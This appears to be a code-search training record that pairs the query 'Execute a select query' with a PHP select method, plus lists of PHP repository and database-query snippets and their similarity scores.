"public function getAll(): Collection\n {\n return $this->model->newQuery()->orderBy('disporder')->all();\n }",
"public function getAll() : Collection;",
"public function findAll()\n {\n return $this->find([], ['name' => 'ASC']);\n }",
"public function all(): \\app\\domain\\interfaces\\EntityCollection {\n $collection = new \\app\\domain\\interfaces\\EntityCollection;\n \n return $collection;\n }",
"public function all(): Collection;",
"public function all(): Collection;",
"public function all(): Collection;",
"public function all(): Collection;",
"public function get() : Collection\n {\n $records = $this->applyScopes()->query->get();\n $records = $this->getTree()->loadInto($records);\n\n return $this->mapper->makeEntities($records);\n }",
"function listaAll() {\n require ROOT . \"config/bootstrap.php\";\n return $em->getRepository('models\\Equipamentos')->findby(array(), array(\"id\" => \"DESC\"));\n $em->flush();\n }",
"public function findAll() {\n $orderby = array_key_exists('position', $this->_class->columnNames) ? ['position' => 'ASC']: null;\n return $this->findBy(array(), $orderby);\n }",
"public function getAllEntities();",
"public function all() : Collection\n {\n return Order::all();\n }",
"public function findAll()\n {\n return $this->createQueryBuilder()\n ->sort('createdAt', 'desc')\n ->getQuery()\n ->execute();\n }",
"public function getCollection() {\n return $this->gateway->find(\n $this->getFilter(),\n $this->order,\n $this->relations,\n $this->pager,\n !$this->excludeRepo\n );\n }",
"public function findAllEntities();",
"public function all(): Collection\n {\n }",
"public function findAll()\n {\n return $this->findBy(array());\n }",
"public function all()\n {\n return $this->orderBy('id', 'DESC')->fetchAll($this->table);\n }",
"protected function getAll(){\n return $this->orderBy('id','desc')->paginate(10);\n }",
"public function all() : Collection;",
"public function all()\n {\n return $this->resource::collection(\n $this->repository->all()\n );\n }",
"public function getAll(): Collection\n {\n return $this->model->all();\n }",
"public function all(): Collection\n {\n return $this->model->all();\n }",
"public function all(){\r\n\treturn $this->getRepository()->findAll();\r\n }",
"public function findAll()\n {\n $this->setPageSize(9999);\n \n return $this->find();\n }",
"public function all(){\n return Estoque::orderBy('id', 'asc')->get();\n }",
"function findAll() {\n return Documents::find(array(\n 'order' => 'created_on DESC',\n ));\n }",
"public function fetchAll();",
"public function fetchAll();",
"public function fetchAll();",
"public function fetchAll();",
"public abstract function fetchAllObjects();",
"public function getAll()\n {\n $resultSet = $this->oMapper->getAll();\n\n $className = get_class($this);\n\n// $return = array();\n $dto = new EntityDTO($this->oDb, $this->oLogger);\n foreach ($resultSet as $key => $row) {\n $obj = new $className($dto);\n $obj->fillByObject($row);\n\n $this->aCollection[] = $obj;\n }\n unset($resultSet);\n\n return $this->aCollection;\n }",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function all()\n {\n $prepSql = \"SELECT {$this->_columnNames} FROM `{$this->_tableName}`\";\n $pstmt = $this->_prepare($prepSql);\n\n $pstmt->execute();\n\n $resultSet = $pstmt->fetchAll(\\PDO::FETCH_ASSOC);\n $pstmt->closeCursor();\n\n $collection = [];\n foreach ($resultSet as $dbRecord) {\n $entity = $this->_toEntity($dbRecord);\n $collection[] = $entity;\n }\n return $collection;\n }",
"public function index(): Collection\n {\n return $this->repository->findAll();\n }",
"public abstract function fetchAll();",
"public function fetchAll()\n {\n $products = product::with('brand')->paginate(8);\n return productResource::collection($products);\n }",
"public function findAll() {}",
"public function findAll() {}",
"public function findAll() {}",
"public function getAll()\n\t{\n\t\treturn new Collection($this->items);\n\t}",
"public function getEntities()\n {\n return $this->getRepository()->findBy([], ['discipline' => 'ASC']);\n }",
"public function getCollection();",
"public function getCollection();",
"public function getCollection();",
"public function getCollection();",
"public function findAll()\n {\n return $this->findWithFilters();\n }",
"public function findAll() {\n return $this->findBy(array(), array('title' => 'ASC'));\n }",
"public function findAll()\n {\n return $this->getRepository()->findBy(array(), array('title' => 'ASC'));\n }",
"public function getAll()\n {\n return $this->findAll();\n }",
"public static function get_all()\n\t{\n\n\t\t$params = array(\n\t\t\t'orderby' => 'name ASC'\n\t\t\t);\n\n\t\treturn self::get( $params );\n\t}",
"public function findByUserId(int $id) : Collection;",
"public function getAll()\r\n\t{\r\n\t\treturn $this->findAll();\r\n\t}",
"public function findAll()\n\t{\n\t\t$aTableSource = array_merge($this->_acceptedFields, $this->_cascadeFields);\n\t\t\n\t\t$aTables\t= $this->extractTables($aTableSource);\n\t\t$sSelect\t= implode(', ', $this->_acceptedFields);\n\t\t$sWhere \t= $this->compileClauseStrings($this->_cascadeFields);\n\t\t\n\t\t$this->_adapter->select($aTables, $sWhere, $sSelect);\n\t\t\n\t\t$collection = $this->buildCollection();\n\t\t\n\t\twhile($data = $this->_adapter->fetch())\n\t\t{\n\t\t\t$collection->add(null, $this->buildEntity($data));\n\t\t}\n\t\t\n\t\treturn $collection;\n\t}",
"public function getAll()\n {\n $model = new static::$model;\n\n $per_page = request('per_page');\n $query = $model::with($model::$localWith);\n $this->qualifyCollectionQuery($query);\n\n // Handle pagination, if applicable\n if( $per_page ) $model->setPerPage($per_page);\n\n $perPage = $model->getPerPage();\n if ($perPage) {\n $paginator = $query->paginate($perPage);\n return $this->response->paginator($paginator, $this->getTransformer());\n } else {\n $resources = $query->get();\n\n return $this->response->collection($resources, $this->getTransformer());\n }\n }",
"public function all()\n {\n return $this->repository->findAll();\n }",
"public function findAllByOrder()\n {\n return $this->findBy(array(), array('updatedAt'=>'desc', 'createdAt'=>'desc'));\n }",
"public function showEntities()\n {\n return Entity::paginate(10);\n }",
"public function loadAll(): PostCollection\n {\n return new PostCollection(...FakeDataForToy::singleton()->getPostEntities());\n }",
"public function getAll()\n {\n return $this->model->orderBy('id', 'DESC')->get();\n }",
"public function findById($id): Collection\n {\n }",
"public static function findAll(){\n \t$data = self::all();\n \treturn $data;\n }",
"public static function findAll(){\n \t$data = self::all();\n \treturn $data;\n }",
"public static function findAll(){\n \t$data = self::all();\n \treturn $data;\n }",
"public function getAll()\n\t{\n\t\t$args = array('order' => 't.id');\n \t$records = $this->record->findAll($args);\n \treturn $this->model->populateModels($records, 'id');\n\t}",
"public function all()\n {\n $records = R::findAll( $this->table_name(), \" order by id \");\n\n $object = array_map( function($each_record) {\n return $this->map_reford_to_object( $each_record );\n },\n $records\n );\n\n return array_values( $object );\n }",
"public function findAll() {\n\t\treturn $this->createQuery()->execute();\n\t}",
"public function findAll()\n {\n return $this->getEntityRepository()->findAll();\n }",
"public static function getAll()\n\t{\n\t\treturn self::find()->asArray()->all();\n\t}",
"public function findAll()\n {\n return $this->createQuery()->execute();\n }",
"public function asCollection();",
"public static function fetch_all_in_a_list()\n\t{\n\t return Company::orderBy( 'name' )->lists( 'name' , 'id' );\n\n\t}",
"public function fetchAll()\n {\n }",
"public function getAll()\n\t{\n\t\treturn $this->getMyRepository()->findAll();\n\t}",
"public function fetchAll()\n {\n return Accessory::paginate(25);\n }",
"public function findAll($hydrateMode = AbstractQuery::HYDRATE_OBJECT);",
"public function findCollectionById($id);",
"public function myFindAll(){\n // $queryBuilder = $this->createQueryBuilder('a');\n // $query = $queryBuilder->getQuery();\n // $results = $query->getResult();\n return $this->createQueryBuilder('a')->getQuery()->getResult;\n }",
"public function getEntities();",
"public function getEntities();",
"public function findBy(array $where): ICollection;",
"public function fetchCollection($criteria = null);",
"public function findAll()\n {\n }",
"public function all() {\n return $this->model->orderBy('created_at', 'ASC')->get();\n }",
"public function findAll() {\n }",
"public function findAll()\r\n {\r\n }",
"public function getAll()\n {\n return $this->findAllByAttributes();\n }",
"public function listAll()\n {\n $collectionClassName = $this->getInstanceCollectionClassName();\n return $collectionClassName::create($this, $this->getTable());\n }",
"public function getAll()\n {\n return array_values($this->collection->getAll());\n }",
"public function getAll();"
]
| [
"0.7515803",
"0.7406055",
"0.73940855",
"0.71106505",
"0.6945842",
"0.6912175",
"0.6912175",
"0.6912175",
"0.6912175",
"0.6863999",
"0.6841344",
"0.67828",
"0.6761522",
"0.6759153",
"0.67454195",
"0.670267",
"0.66877633",
"0.6687673",
"0.66621447",
"0.6636669",
"0.66334075",
"0.6626541",
"0.66249824",
"0.6622356",
"0.6596037",
"0.659407",
"0.6577811",
"0.6539429",
"0.6528159",
"0.6523595",
"0.6523595",
"0.6523595",
"0.6523595",
"0.6484888",
"0.6484729",
"0.6483296",
"0.6483296",
"0.6483296",
"0.6483296",
"0.6483296",
"0.6483296",
"0.6483296",
"0.6483296",
"0.64649343",
"0.64460295",
"0.6434736",
"0.64230305",
"0.6402793",
"0.6401538",
"0.6401538",
"0.63996005",
"0.63916487",
"0.6386931",
"0.6386931",
"0.6386931",
"0.6386931",
"0.6382283",
"0.63685244",
"0.6364213",
"0.63623536",
"0.6342159",
"0.6335785",
"0.63175714",
"0.63060015",
"0.6305074",
"0.6297004",
"0.6294751",
"0.6289016",
"0.62859917",
"0.6285071",
"0.62814176",
"0.62601715",
"0.62601715",
"0.62601715",
"0.62560564",
"0.6247508",
"0.62338775",
"0.62335235",
"0.6212873",
"0.6204177",
"0.61986774",
"0.6169813",
"0.6168031",
"0.61570317",
"0.6152231",
"0.61512107",
"0.61479706",
"0.6142217",
"0.61403394",
"0.61403394",
"0.6138792",
"0.61274916",
"0.61239123",
"0.6112037",
"0.6106415",
"0.6105737",
"0.6095761",
"0.6091831",
"0.6091332",
"0.60897917"
]
| 0.61678624 | 83 |
Execute a select query | public function select(Query\Select $query): \Generator
{
yield from $this->db->select($this->klass, $query);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"protected function runSelect()\n {\n return $this->connection->select(\n $this->toSql(),\n $this->getBindings(),\n $this->option->setUseWrite($this->useWritePdo)\n );\n }",
"protected function ejecutarSelect($sql){ \n $conf = $_SESSION['config']['base'];\n $pass = \\Core\\Encriptador::desencriptar($conf['dbclaveAll']);\n $obd = new \\Core\\DataBase($conf['dbhost'], $conf['dbport'], $conf['dbuserAll'], $pass, $conf['dbdatabase']);\n $datos = $obd->select($sql);\n if(!empty($datos)){\n return $datos;\n }\n return 0;\n }",
"protected function runSelect()\n {\n return $this->connection->select($this->toCypher(), $this->getBindings());\n }",
"public function executeSelect($sql) {\r\n\r\n $res = mysql_query($sql);\r\n $this->response = $res;\r\n\r\n return $this->resultToArray($res);\r\n\r\n }",
"private function executeAndFetchStatement($select){\n $this->statement = $this->connection->prepare($select);\n $this->statement->execute();\n $result = $this->statement->fetchAll(PDO::FETCH_ASSOC);\n return $result;\n }",
"public function select() \n {\n $this->select->execute();\n\n if ($this->select->errorCode() != 0) \n {\n print_r($this->select->errorInfo());\n }\n\n return $this->select->fetchAll();\n }",
"function select($query)\n\t{\n\t\t\n\t\tglobal $connection;\n\t\t$resuts = $connection->query($query);\n\t\treturn $resuts;\n\t}",
"public function execute($sql){\n\t $query = DB::query(Database::SELECT, $sql);\n\t return $query->execute($this->database);\n\t}",
"function selectQuery($query) \t{\n\t\tif($query != '')\t\t{\n\t $res = $this->execute($query);\n\t\t\treturn $this->fetchAll($res);\n\t\t}\n\t}",
"private function RunBasicQuery() {\n // Prepare the Query\n $this->stmt = $this->db->prepare($this->sql);\n \n // Run the Query in the Database\n $this->stmt->execute();\n \n // Store the Number Of Rows Returned\n $this->num_rows = $this->stmt->rowCount();\n \n // Work with the results (as an array of objects)\n $this->rs = $this->stmt->fetchAll();\n \n // Free the statement\n $this->stmt->closeCursor(); \n }",
"public function PgSelect($sql){\n $this->StartBD();\n $this->SQuery = $this->PgQuery($sql);\n if (!$this->SQuery){\n die(\"SELECT Erroneo!\");\n }\n $this->EndBD();\n }",
"private function query() {\n return ApplicationSql::query($this->_select, $this->_table, $this->_join, $this->_where, $this->_order, $this->_group, $this->_limit, $this->_offset);\n }",
"function run_select($sql, $params, $task, $calling_function) {\n $stmt = $this->db_connection->prepare($sql);\n $output = null;\n\n try {\n if ($params != null) {\n $stmt->execute($params);\n }\n else {\n $stmt->execute();\n }\n\n if ($task == \"fetch_column\") {\n $output = $stmt->fetchColumn();\n }\n else if ($task == \"fetch_all\") {\n $output = $stmt->fetchAll();\n }\n }\n catch(PDOException $e) {\n echo(\"PDO error from $calling_function:<br/>\" . $e->getMessage());\n }\n\n $stmt = null;\n return $output;\n }",
"public function select();",
"public function select();",
"public function select();",
"public function select($fields=null) { if ($fields) $this->fields($fields); return $this->execute($this->get_select()); }",
"private function ExecuteQuery()\n\t{\n\t\tswitch($this->querytype)\n\t\t{\n\t\t\tcase \"SELECT\":\n\t\t\t{\n\t\t\t\t$this->stmt->execute();\n\t\t\t\t$this->querydata = $this->stmt->fetchAll(PDO::FETCH_ASSOC);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase \"INSERT\":\n\t\t\tcase \"UPDATE\":\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\t$this->beginTransaction();\n\t\t\t\t\t$this->stmt->execute();\n\t\t\t\t\t$this->commit();\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcatch (PDOException $e)\n\t\t\t\t{\n\t\t\t\t\t$this->rollBack();\n\t\t\t\t\techo(\"Query failed: \" . $e->getMessage());\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}",
"function query(\\database $dbase){\n //\n //Get the sql string \n $sql=$this->to_str();\n //\n // Execute the $sql on columns to get the $result\n $dbase->query($sql);\n \n }",
"function select($sql) {\n global $conn;\n\n if($result = $conn->query($sql)) {\n while($row = mysqli_fetch_assoc($result))\n $result_rows[] = $row;\n\n if($result_rows != null)\n DB::return_json($result_rows);\n\n else\n throw new Exception(\"no results\");\n } else\n throw new Exception(\"query failed\");\n }",
"static function select($sql, $params = array()) {\n $sth = static::execute($sql, $params);\n\n $result = $sth->fetchAll();\n\n return $result;\n }",
"function querySelect($query) {\r\n\t\t\r\n\t\tif (strlen(trim($query)) < 0 ) {\r\n\t\t\ttrigger_error(\"Database encountered empty query string in querySelect function\",E_USER_ERROR);\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t\r\n\t\tif( !$this->connected ) \r\n\t\t\t$this->connect();\r\n\t\t\t\r\n\t\tif ($result = $this->socket->query($query)) {\r\n\t\t\t$this->recordsSelected = $result->num_rows;\r\n\t\t\t$this->databaseResults = $this->getData($result);\r\n\t\t\t$result->close();\t\t\t\r\n\t\t}\r\n\t\telseif($this->socket->errno!='')\r\n\t\t{\r\n\t\t\r\n\t\t\t$this->error( $sql.\"Error querying database: \". $this->socket->error,false);\r\n\t\t\treturn false;\r\n\r\n\t\t\t}\r\n\t\t\r\n\t\treturn $this->databaseResults;\r\n\t}",
"public function executeQuery($q){ $this->makeConnection();\n //check for SQL injection\n\n //execute query\n $results = $this->connection->query($q);\n\n return $results;\n\n }",
"protected function prepareSelectStatement() {}",
"protected abstract function getSelectStatement();",
"protected abstract function getSelectStatement();",
"private function execute() {\n $query = $this->db->query($this->sql);\n return $query->result();\n }",
"public function executeSelect($sql, $params = []) {\n\n try {\n $this->stmt = $this->pdo->prepare($sql);\n $this->stmt->execute($params);\n\n } catch (\\PDOException $e) {\n die($e->getMessage());\n }\n\n $result = null;\n if($this->stmt->rowCount()) {\n\n $result = [];\n for($i = 0; $i < $this->stmt->rowCount(); $i++) {\n $result[$i] = $this->stmt->fetch(\\PDO::FETCH_ASSOC);\n }\n }\n\n return $result;\n }",
"protected function execute_single_query(){\n\t\t$this -> open_connection();\n\t\t$this -> conn -> query($this -> query);\n\t\t$this -> close_connection();\n\t}",
"public function select($query){\n return pg_fetch_all($this -> query($query));\n }",
"protected function select($sql, array $params = []) {\n $stmt = $this->db->prepare($sql);\n $stmt->execute($params);\n $result = $stmt->fetchAll();\n $this->logger->verbose(\"SQL select '$sql' with args=\".var_export($params, true).\" returned \".count($result).\" rows\");\n return $result;\n }",
"protected abstract function executeQuery(Result $result);",
"private function executeQuery() {\n\t\t$recordset = $this->getConnection()->execute( $this );\n\t\t\n\t\tif( $recordset === false ) {\n\t\t\t$this->_recordset = array();\n\t\t} else {\n\t\t\t$this->_recordset = $recordset;\n\t\t}\n\n\t\t$this->_currentRow = 0;\n\t\t$this->isDirty( false );\n\t}",
"public function executeQuery($sql){\n return DB::executeQuery($this->db, $sql);\n }",
"function query($sql) {\r\n\t\treturn $this->execute($sql);\r\n\r\n\t}",
"protected function runSelectWithMeta()\n {\n return $this->connection->selectWithMeta(\n $this->toSql(),\n $this->getBindings(),\n ! $this->useWritePdo\n );\n }",
"public function execute($query);",
"abstract function executeQuery($cons);",
"function executeQuery($query);",
"abstract public function query($sql);",
"public static function query($sql);",
"abstract public function prepareSelect();",
"public function ExecuteQuery($query){\n\t\treturn $this->db_con->query($query);\n\t}",
"public function execute() { \n return $this -> stmt -> execute();\n }",
"public function select(){\n\t$sql=\"SELECT * FROM tipousuario\";\n\treturn ejecutarConsulta($sql);\n}",
"public function execute()\n {\n \tif ( $this->cur_query != \"\" )\n \t{\n \t\t$res = $this->query( $this->cur_query );\n \t}\n \t\n \t$this->cur_query \t= \"\";\n \t$this->is_shutdown \t= false;\n\n \treturn $res;\n }",
"public function execute()\n {\n return $this->query($this->sSql);\n }",
"public function execute()\n\t{\n\t\t$this->query->setFetchMode($this->fetchMode);\n\n\t\t$this->query->execute($this->params);\t\n\n\t\t// Fetch the data in the appropriate format\n\t\tswitch ($this->fetchMethod) {\n\t\t\tcase 'row':\n\t\t\t\t$this->result = $this->query->fetch();\n\t\t\t\tbreak;\n\t\t\tcase 'field':\n\t\t\t\t$this->result = $this->query->fetchColumn();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$this->result = $this->query->fetchAll();\n\t\t\t\tbreak;\n\t\t}\n\t}",
"public function executeQuery($sql)\r\n\t{\r\n\t\t//return qocqal_query($sql);\r\n\t}",
"private function _select(){\n $this->debugBacktrace();\n $parameter = $this->selectParam; //transfer to local variable.\n $this->selectParam = \"\"; //reset updateParam.\n\n \n \n $sql = \"\";\n if($this->hasRawSql){\n $sql = $parameter;\n $this->hasRawSql = false;\n }\n else{\n $tableName = $this->tableName;\n $this->tableName = \"\"; //reset.\n\n $columns = \"\";\n if(!isset($parameter) || empty($parameter)){\n $columns = \"*\";\n $sql = $this->_prepare_select_sql($columns,$tableName);\n }\n else{\n //first check whether it has 'select' keyword\n $parameter = trim($parameter);\n $keyWord = substr($parameter,0,6);\n if(strtoupper($keyWord)==\"SELECT\") {\n $sql = $parameter;\n }\n else{\n $columns = $parameter;\n $sql = $this->_prepare_select_sql($columns,$tableName);\n }\n }\n }\n\n \n $queryObject = $this->_perform_mysql_query($sql);\n \n if(empty($this->selectModifier)){\n //No select modifier (first, firstOrDefault, single, singleOrDefault) found ---->\n $quantity = 0;\n $rows = array();\n switch ($this->fetchType){\n case \"fetch_object\":\n while ($row = mysqli_fetch_object($queryObject)) {\n if(isset($tableName)){\n $meta = new stdClass();\n $meta->type = $tableName;\n $row->__meta = $meta;\n }\n $rows[] = $row;\n $quantity++;\n }\n break;\n case \"fetch_assoc\":\n while ($row = mysqli_fetch_assoc($queryObject)) {\n $rows[] = $row;\n $quantity++;\n }\n break;\n case \"fetch_array\":\n while ($row = mysqli_fetch_array($queryObject)) {\n $rows[] = $row;\n $quantity++;\n }\n break;\n case \"fetch_row\":\n while ($row = mysqli_fetch_row($queryObject)) {\n $rows[] = $row;\n $quantity++;\n }\n break;\n case \"fetch_field\":\n while ($row = mysqli_fetch_field($queryObject)) {\n $rows[] = $row;\n $quantity++;\n }\n break;\n }\n\n if($quantity>0){\n mysqli_free_result($queryObject);\n }\n\n return $rows;\n //<----No select modifier (first, firstOrDefault, single, singleOrDefault) found \n }\n else{ \n //select modifier (first, firstOrDefault, single, singleOrDefault) found ---->\n $selectModifier = $this->selectModifier;\n $this->selectModifier = \"\";\n $row;\n switch($selectModifier){\n case \"first\":\n $numRows = mysqli_num_rows($queryObject);\n if($numRows == 0){\n throw new ZeroException(\"No data found.\");\n }\n break;\n \n case \"firstOrNull\":\n $numRows = mysqli_num_rows($queryObject);\n if($numRows == 0){\n return NULL;\n }\n break;\n\n case \"single\":\n $numRows = mysqli_num_rows($queryObject);\n if($numRows == 0){\n throw new ZeroException(\"No data found.\");\n }\n if($numRows > 1){\n throw new ZeroException(\"Multiple records found.\");\n }\n break;\n\n case \"singleOrNull\":\n $numRows = mysqli_num_rows($queryObject);\n if($numRows == 0){\n return NULL;\n }\n if($numRows > 1){\n return NULL;\n }\n break;\n }\n\n return $this->_prepareSingleRecord($queryObject);\n //<---- select modifier (first, firstOrDefault, single, singleOrDefault) found *212*062#\n }\n }",
"function execute( $qry )\n {\n // -- Montem la query. Pot ser un objecte o un string SELECT\n if( is_object( $qry ))\n {\n if( in_array( 'get_query', get_class_methods( $qry ) ))\n {\n $sQuery = $qry->get_query();\n }\n else\n {\n $this->throw_exception( $this->_hDb, __CLASS__.'::'.__FUNCTION__. ' - Objeto sin función get_query' );\n }\n }\n else\n {\n $sQuery = $qry;\n }\n if( empty( $sQuery ))\n {\n $this->throw_exception( $this->_hDb, __CLASS__.'::'.__FUNCTION__. ' - No existeix consulta' );\n }\n $result = odbc_exec( $sQuery, $this->_hDb );\n if( !$result )\n {\n $this->throw_exception( $this->_hDb, __CLASS__.'::'.__FUNCTION__. ' - Impossible executar consulta [['.$sQuery.']] ' );\n }\n return $result;\n }",
"public function select()\n {\n $sql = \"SELECT * FROM tipousuario\";\n return ejecutarConsulta($sql);\n }",
"public function query();",
"public function query();",
"public function query();",
"public function query($sql);",
"public function query($sql);",
"public function query($sql);",
"public function query($sql);",
"public function Execute($sql) {\r\n return $this->_connection->query($sql);\r\n }",
"public function select($query){\n $result =$this->con->prepare($query);\n $result->execute();\n return $result->fetchAll(PDO::FETCH_ASSOC);\n }",
"abstract public function query();",
"public function executeQuery() \r\n\t{\r\n\t\t$Result = $this->objStatement->execute();\r\n\t\t\r\n\t\tif($Result)\r\n\t\t{\r\n\t\t\t$Result = new DatabaseStatement($this->objStatement);\r\n\t\t}\r\n\t\t\r\n\t\treturn $Result;\r\n\t}",
"abstract public function execute($query);",
"public function execute($sql);",
"public function execute($sql);",
"function execute ($sql)\n {\n return pg_query($this->_conn, $sql);\n }",
"public function doQuery($sql, $params);",
"public function doSelect ($sql) {\n\n\t// fetch data from database via query\n\t$result = $this->_sendQuery($sql);\n\tif (!$result) return false;\n\n\t// sum output in array\n\t$output = array();\n\twhile ($row = mysql_fetch_assoc($result)) $output[] = $row;\n\n\treturn $output;\n }",
"public function select($query, $params =null){\n $this->openConnection();\n try {\n $q = $this->db->prepare($query);\n $this->db->setAttribute(\\PDO::ATTR_ERRMODE,\\ PDO::ERRMODE_EXCEPTION);\n $q->execute($params);\n } catch (\\PDOException $e) {\n $this->closeConnection();\n print \"Error!: \" . $e->getMessage() . \"<br/>\"; exit;\n }\n\n $this->closeConnection();\n return $q->fetch(\\PDO::FETCH_ASSOC);\n }",
"public function select()\n\t{\n\t\treturn call_user_func_array([$this->queryFactory->__invoke('select'), 'select'], func_get_args());\n\t}",
"public function doQuery ($sql) {\n\treturn $this->_sendQuery($sql);\n }",
"public function execute($sql) {\n\t\tif(SYS_USE_FIREPHP==1)\n\t\t\tPhpBURN_Message::output(\"[!Performing the query!]: $sql\");\n\t\treturn $this->getModel()->getConnection()->executeSQL($sql);\n\t\t//$this->resultSet = &$this->getModel()->getConnection()->executeSQL($sql);\n\t}",
"public function execute($sql) {\n $this->result = $this->conn->query($sql);\n return $this->result;\n }",
"function fvls_db_ExecuteQuery($sql){\n\t\tglobal $FLVS_db_link;\n\t\tif( !$FLVS_db_link instanceof MySQLi )\n\t\t\treturn false;\n\n\t\tif ( !($response = $FLVS_db_link->query( $sql ) ) ){\n\t\t\tif( defined('FVLS_DEVELOPER_MODE') && FVLS_DEVELOPER_MODE )\n\t\t\t echo \"FV Link Shortener Error: mySQL Query Error - $FLVS_db_link->error | $sql\\n\";\n\t\t\treturn false;\n\t\t}\n\n\t\treturn $response;\n\t}",
"function select ($sql ,$conn) {\n\t\t$result = mysql_query($sql , $conn) ;\n\t\treturn $result ;\n\n\t}",
"abstract protected function doQuery( $sql );",
"public static function query();",
"public function executeQuery() {\r\n\t\t$query = $this->query;\r\n\t\t$query->matching($query->logicalAnd($this->queryConstraints));\r\n//$parser = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::makeInstance('TYPO3\\\\CMS\\\\Extbase\\\\Persistence\\\\Generic\\\\Storage\\\\Typo3DbQueryParser'); \r\n//$queryParts = $parser->parseQuery($query); \r\n//\\TYPO3\\CMS\\Core\\Utility\\DebugUtility::debug($queryParts, 'Query Content');\r\n\t\t$queryResult = $query->execute()->toArray();\r\n\t\t$this->setSelectedPageUids($queryResult);\r\n\t\t$this->resetQuery(); \r\n\t\treturn $queryResult;\r\n\t}",
"public function query($statement);",
"public function execute()\n {\n /* If there's a select limit, capitalize on it */\n if($this->limit) {\n $this->query .= ' LIMIT ' . $this->limit;\n }\n \n /* If executement arguments has values, execute statement with\n the values */\n if(count($this->values) != 0) {\n /* Execute query in prepared format */\n $request = $this->pdo->prepare($this->getQuery());\n \n /* Append values to execute */\n $request->execute($this->values);\n }else if(count($this->values) == 0) {\n /* Run query if values is empty */\n $request = $this->pdo->query($this->getQuery());\n }\n /* Reset values array for next query */\n $this->values = [];\n \n /* If execution action is fetch, return ->fetchAll(); */\n if($this->action == 'fetch') {\n return $request->fetchAll();\n }\n \n /* If execution action is rows, return ->rowCount(); */\n if($this->action == 'rows') {\n return $request->rowCount();\n }\n \n /* Else return self */\n return $this;\n }",
"function q($sql){\r\n return $this->ixd->query($sql);\r\n }",
"public static function execute($sql) {\n if (static ::$show_sql) {\n echo $sql . \"\\n\\n\";\n }\n $query = NimbleRecord::execute($sql, true);\n return $query;\n }",
"public function query($sql) {\n return $this->_connection->query($sql);\n }",
"public function executeQuery($query) {\r\n\t\t\r\n\t\t$this->mdb2->connect();\r\n\t\t\t\t\r\n\t\t$ResultSet = $this->mdb2->query($query);\r\n\t\t\r\n\t\t$this->mdb2->disconnect();\r\n\t\t\r\n\t\tif (PEAR::isError($ResultSet)) {\r\n\t\t\tdie($ResultSet->getMessage() . \": \" . $query);\r\n\t\t}\r\n\t\t\r\n\t\treturn $ResultSet;\r\n\t\t\r\n\t}",
"public function execQuery($sql){\n return mysql_query($sql);\n }",
"function db_run_query( $statement ) {\n\n $this->pm_clear_dataset();\n $this->pm_store_statement( $statement );\n $this->pm_debug_statement( $statement );\n if( ! $this->query_is_select ) $this->pm_write_logfile( $statement );\n\n $this->dataset_obj = $this->connection->query( $statement );\n $this->pm_die_if_error( 'dataset_obj' );\n\n if( is_object( $this->dataset_obj )) # updates/inserts/deletes seem to return an integer not an object\n $this->rowcount = $this->dataset_obj->numrows();\n else\n $this->rowcount = ROWCOUNT_NOT_SET;\n\n return $this->dataset_obj;\n }",
"public function executeSelect(DBConnection $conn, Peer $peer, $jp= null, $buffered= true);",
"public function querySelect($sql, $fields = NULL, $fetchMode = NULL) : Collection;",
"public function query($sql) {\n $this->query_result = pg_query($sql);\n return $this->query_result;\n }",
"function select_data($query,$connect){\n\t$result = $connect->query($query);\n\treturn $result;\n}",
"public function executarQuery($sql)\n {\n return $this->con->query($sql);\n \n }",
"protected function execute_single_query() \n\t\t{\n \t\t\t$this->open_connection();\n \t\t\t$this->conn->query($this->query);\n \t\t\t$this->close_connection();\n\t\t}",
"private function __select() {\n $from_str = $this->getFromStr();\n $field = $this->field_str;\n if (empty($field)) {\n $field = '*';\n }\n $sql = \"SELECT {$field} FROM {$from_str}\";\n if (!empty($this->join_str_list)) {\n $temp = implode(' ', $this->join_str_list);\n $sql .= \" {$temp}\";\n }\n if (!empty($this->where_str)) {\n $sql .= \" WHERE {$this->where_str}\";\n }\n if (!empty($this->group_str)) {\n $sql .= \" GROUP BY {$this->group_str}\";\n }\n if (!empty($this->order_str)) {\n $sql .= \" ORDER BY {$this->order_str}\";\n }\n if (!empty($this->limit_str)) {\n $sql .= \" LIMIT {$this->limit_str}\";\n }\n $list = $this->query($sql);\n return $list;\n }",
"protected abstract function executeQuery($query);",
"public function select($sql)\n { \n if ($this->debug === TRUE) {\n $start = microtime(TRUE);\n }\n \n $result = mysql_query($sql, $this->link);\n \n if ($result === FALSE) {\n $errstr = \"Invalid query: \" . $sql . PHP_EOL;\n $errstr .= \"Server returned: \" . mysql_errno($this->link) . \": \" . mysql_error($this->link);\n throw new Exception($errstr);\n }\n \n if ($this->debug === TRUE) {\n $end = microtime(TRUE);\n $time = sprintf(\"%.8F\", $end - $start);\n $this->queries[] = array(\n \"sql\" => $sql,\n \"sec\" => $time\n );\n }\n \n $Result = new ResultMySQL($result);\n $Result->rewind();\n return $Result;\n }",
"public function ejecutar_una_consulta($query){\n $response=self::ConnectDB()->prepare($query);\n $response->execute();\n return $response;\n }",
"public function sqlCmd($q, $params, $return) {\n $db = $this->openDb();\n // Prepare statement\n $stmt = $db->prepare($q);\n\n if($params) {\n // Execute statement\n $stmt->execute($params);\n } else {\n $stmt->execute();\n }\n // Decide whether to return the rows themselves, or just count the rows\n if ($return == \"rows\") {\n return $stmt->fetchAll(PDO::FETCH_NUM);\n }\n //elseif ($return == \"count\") {\n else {\n return $stmt->rowCount();\n }\n }",
"public function executeSelect(DBConnection $conn, Peer $peer, $jp= NULL, $buffered= TRUE) {\n return $conn->query('%c', $this->getSelectQueryString($conn, $peer, $jp), $buffered);\n }",
"public function query($sql){\n $result = $this->connection->query($sql);\n $this->confirm_query($result);\n return $result;\n }",
"public function run(){\n $sql = $this->sql();\n return $this->query($sql,$this->args);\n }"
]
| [
"0.7406826",
"0.7265487",
"0.7223049",
"0.7105416",
"0.6900725",
"0.6891826",
"0.687197",
"0.6849419",
"0.6830251",
"0.67942655",
"0.6774256",
"0.67656815",
"0.67520845",
"0.67333364",
"0.67333364",
"0.67333364",
"0.6705222",
